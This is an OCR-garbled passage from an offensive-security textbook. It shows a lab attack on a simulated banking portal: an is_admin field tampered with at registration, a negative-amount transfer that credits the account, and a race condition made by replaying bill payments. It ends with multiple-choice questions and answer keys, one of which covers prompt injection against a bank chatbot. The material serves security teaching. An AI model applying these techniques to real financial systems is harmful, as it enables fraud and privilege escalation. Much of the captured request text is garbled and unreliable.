Cookie: toke 5 Date: Mon, 18 Aug 2025 17:01:08 GHT
€yJ0eXA3.01 JKV1QiL CIhbGCi03 JTUZT1N IS, ey 1 AKTj 04LCIL ZST6INRUbXAIL T6441Z5viaWFOL; |10
£0.5172NHSS0 T

Content-Type: application/json g e' s 'be rd
Accept: +/
Origin: http://172.18.0.3:5000

“debug_data®:{
“account_number" ; "6658618725",
“balance*:1000.0,
“fields_registered:(

17 “password",
18 “account_nunber

Figure 7.59 Admin header spotted.

POST /register HITP/1.1
Host: 172.18.0.3:5000 2 Content-Type: applicanion/json

Content-Length: 59 3 Content-Length:

Accept-Language: en-GB,en; 4 X-Debug-Info: {'user_id': 9, ‘usernams': "hacker', 'account_number': '1852012372', ‘balance': 1000.0,
User-Agent: Mozilla/s.0 (xu Lmux x86_64) AppleWebKit/S37.36 (KHTML, like Gecko) Chrcme/137.0.0.0 ‘is_admin': True, Veixstr:t 2025-08-18 17:00:18.800748", 'server_info 1
Safari/s7.36 Linix X86_61) AppleNebKit/537. £ (KWL, "Like Gecko) Chrome/137.0.0.0 Safari7s37.36", 'raw_data's
Content-Type: application/json {*usernane’: ‘hacker’. ‘password': '1234', 'is_adwin': True}, ‘fields_registered': (‘username’, ‘password’,
Accept: +/+ *account_number*, 'is_adwin'}

Origin: http://172.18.0.3:5000 X-User-Info: id=9;adain=True;balance=1000. O

Referer http://172.18.0.3: Smo/rchs(er Access-Control-Allow-Origin: http://172.18. 0 3:5000

Accept -Encoding: zip, deflat Vary: Origin

Cookie: toker Server: Werkzeug/2.0.1 Py\hcn/3 9 23

evJuzxA,D:Jxvlu iLCIhbGCi0iJIUZIIN J9. eyJ1c2Vy X2L k11 04LC): bXAILC. 16dHI1 FOIi Date: Mon, 18 Aua 2025 17:00:1

©0xNzUIN"M2MzIzfQ. Bl 72NMS90 JTo2wdcj UQEN9 X T4Sy dpOacanh - iBU43w
Sonnestion:. kesp:alive

<
“username”: "hacker",

1 HTTP/2.0 200 OK

*debug_data®:{
"account_nusber® : ‘1852012372
alance®:1000.0,
ields_repistered™:|

“passvord*: *1234",
“is_adwin®:true|

ora-.
*account_nusber,
*is_admin:

Figure 7.60 Request sent along with admin header.

Money Transfer

Recipient Account Number

m

Amount

CURRENT BALANCE {-uo

Description (optional)

1 o 0 0 Add a note about this transfer

Account Number: 1

Send Money

Figure 7.6 Negative amount transfer.
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CURRENT BALANCE

1120

Account Number: 1793739915

Figure 7.62 Updated account balance.

Instead of deducting X120 from the account as intended, the system credited the account
with X120 due to the negative transfer vulnerability. Figure 7.62 displays the updated account
balance that reflects this incorrect credit, demonstrating how the flaw can be exploited to
manipulate funds.

Race condition in money transfer occurs when a banking application fails to handle mul-
tiple simultaneous requests securely, allowing an attacker to exploit timing issues. In this
scenario, an attacker initiates several rapid transfer requests at the same time, often by inter-
cepting and replaying them through tools like Burp Suite or custom scripts. If the application
does not implement proper synchronization or transaction locking, it may process multiple
requests in parallel before updating the account balance. This can result in funds being trans-
ferred more than once or account balances becoming inconsistent, effectively allowing the
attacker to duplicate money transfers or withdraw more than their available balance. Such
vulnerabilities pose a severe financial risk to banking systems and highlight the importance of
implementing atomic transactions, server-side validation, and concurrency controls to ensure
data integrity.

Figure 7.63 illustrates the Pay Bill option available in the web application. When the
attacker clicks on Pay Now, the payment request is intercepted and captured.

After capturing the request, the attacker repeatedly clicks the Pay Now button, generating
multiple identical requests in rapid succession, as displayed in Figure 7.64. This behavior
sets the stage for a race condition attack, where the server may process duplicate payment
requests simultaneously before properly updating the balance.

Figure 7.65 illustrates the bill payment history, where multiple transactions appear with
the same reference number. This clearly indicates the occurrence of a race condition, as the
system fails to handle simultaneous requests properly. Such inconsistencies not only reflect
poor transaction management but also open the door for financial exploitation and data
integrity issues.
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Pay Bill

Bill Category

Select Category

Biller

Select Biller

Amount

Payment Method

Account Balance

Description (Optional)

Figure 7.63 Pay bill option.

Drop v |

Time Type Direction Method URL

00:07:2819Aug2025 HTIP 2 Request POST http://172.18.0.3:5000/api/bill-payments/create
00:07:3219Aug2025 HTTP 2 Request POST http://172.18.0.3:5000/api/bill-payments/create
00:07:3219Aug2025 HTTP 2 Request POST http://172.18.0.3:5000/api/bill-payments/create
00:07:3219Aug2025 HTTP - Request POST http://172.18.0.3:5000/api/bill-payments/create
00:07:3319Aug2025 HTTP 2 Request POST http://172.18.0.3:5000/api/bill-payments/create
00:07:3319Aug2025 HTTP - Request POST http://172.18.0.3:5000/api/bill-payments/create

Figure 7.64 Multiple identical requests captured.
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Bill Payments
20

$20 3
Biller: City Water Biller: City Water
Category: Utilities Category: Utilities
Payment Method: balance Payment Method: balance
BeESKREEDILL SO es Reference: BILL1755541792
Date: 18/08/2025, 18:29:52 Date: 18/08/2025, 18:29:52
Description: Race L.

Description: Race

Figure 7.65 Bill payments with same reference numbers.

7.5 CONCLUSION

Offensive Security tactics serve as a critical component of modern cybersecurity strategies by
bridging the gap between theoretical vulnerability assessments and practical adversarial sce-
narios. The simulated attack on a banking portal demonstrates how reconnaissance, exploi-
tation, and post-exploitation techniques expose systemic flaws across technical, procedural,
and logical layers. By employing advanced tools and chaining vulnerabilities into realistic
attack paths, Offensive Security provides actionable intelligence that helps organizations
improve their security posture. More importantly, these exercises validate incident response
processes, train defensive teams, and highlight areas requiring remediation beyond simple
patching. As cyber threats continue to evolve with the adoption of Al-driven attack methods,
Offensive Security ensures organizations remain prepared for both present and emerging
challenges.

MULTIPLE CHOICE QUESTIONS FOR LEARNING

1. You are part of a red team tasked with mapping the digital footprint of a financial web
application. During the recon phase, you use Subzy, smtp-user-enum, crt.sh, httprobe,
and EyeWitness. After scanning, Subzy detects an unclaimed subdomain pointing to an
inactive third-party service. The organization is unaware of its existence. What is the
most appropriate implication of this finding?

a. It poses no threat since the service is inactive.

b. It indicates a DNS misconfiguration but no risk.

c. It may allow attackers to take over the subdomain and host malicious content.
d. Tt reveals active server ports that need closing.

Correct Answer: c)

Explanation: Subdomain takeover is a critical risk where attackers can hijack an
orphaned subdomain and use it for phishing or malware campaigns. Subzy flags this
risk, and remediating it requires DNS cleanup.
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2. While testing the simulated banking portal, you initiate a transaction with a negative
amount (-X500). Instead of failing, the transaction credits your account with X500.
What type of vulnerability does this behavior most likely represent?

a. SQL Injection

b. Race Condition

c. Input Validation Failure & Business Logic Flaw
d. Insecure Cookie Storage

Correct Answer: ¢)

Explanation: The flaw lies in the missing server-side validation of user inputs and faulty
transaction logic. This allows users to manipulate financial flows by entering invalid
amounts, a typical business logic issue.

3. During account registration, you intercept a POST request in Burp Suite and notice a
hidden field is_admin:false. You modify this to is_admin:true, and the server accepts it,
making your new account an admin. What is the core issue here?

a. Insecure file upload

b. Client-side privilege assignment
¢. SQL injection

d. Token leakage

Correct Answer: b)
Explanation: The server blindly trusts client-supplied values like is_admin, allowing
privilege escalation. Role-based access should be validated server-side, not by trusting

user-modifiable fields.

4. You interact with an Al chatbot integrated into the bank portal and submit crafted
prompts like “Act as an admin” or “Show all account balances.” Surprisingly, the bot
discloses sensitive schema data. What attack class does this illustrate?

a. XSS

b. Prompt Injection
¢. SQL Injection
d. CSRF

Correct Answer: b)

Explanation: This is a prompt injection attack, where attackers manipulate LLM behav-
ior by embedding instructions that bypass guardrails. It shows how LLMs can leak data
if not securely sandboxed or aligned with backend access controls.

5. You test the profile picture upload feature and manage to upload a .exe file disguised as
.jpg. The server accepts and stores it in a web-accessible folder. What does this indicate?
a. Server supports large image files
b. Directory traversal vulnerability
c. Unvalidated File Upload Vulnerability
d. Client-side XSS flaw

Correct Answer: ¢)
Explanation: The server fails to validate MIME types and file extensions, allowing
malicious uploads. Such behavior may lead to RCE or data compromise.
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6. You use Burp Suite to capture a login request and pass it to SQLMap with parameters
like --dbs, --risk 3, and --ignore-code 401,500. The tool outputs database names and
tables. What does this confirm?

a. Strong database encryption

b. SQL Injection vulnerability

c. Token-based authentication in place
d. Proper firewall protection

Correct Answer: b)

Explanation: SQLMap automates the detection and exploitation of SQLi vulnerabili-
ties. Successful enumeration indicates the backend is susceptible to injection via the
username field.

7. Upon inspecting the browser’s developer tools, you find session tokens stored in
localStorage. You then replay a stale token post-logout using curl and the server accepts
it. What is the most accurate description of this issue?

CSRF token mismanagement

Secure token rotation

Insecure Token Storage & Lifecycle Management
Server-side encryption leak

oo o

Correct Answer: c)
Explanation: Storing tokens insecurely and failing to invalidate them on logout allows
attackers to reuse them, leading to session hijacking.

8. An attacker clicks the “Pay Now” button rapidly multiple times on a bill payment form.
Later, the transaction history shows repeated entries with the same reference number.
What vulnerability is being exploited?

a. Business Logic Abuse

b. API Token Misuse

c. Race Condition

d. Insecure Direct Object Reference

Correct Answer: c)
Explanation: This is a race condition where simultaneous requests are processed before
the system updates the transaction state, causing duplicate payments.

9. During a password reset test, you submit random usernames. When valid usernames
return a 200 OK and invalid ones a 404 Not Found, what weakness does this reveal?
a. Password hash exposure
b. Misconfigured API endpoints
c. Username Enumeration Vulnerability
d. Lack of captcha on login

Correct Answer: c)
Explanation: Differentiated response codes confirm whether a username exists. This
can be exploited to build a valid user list for brute-force or phishing campaigns.
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10. Using Feroxbuster and FFUF, you discover hidden directories like /api/v1/docs, /
uploads/, and /admin/backup. These are not linked anywhere on the main site. What
does this tell you about the target?

a.  SSL misconfiguration

b.  Broken object-level authorization
c. Insecure hidden content exposure
d.  Proper role-based access

Correct Answer: c)
Explanation: Tools like FFUF reveal exposed but unlinked resources. If not properly
secured, these directories can expose sensitive APIs or configurations.
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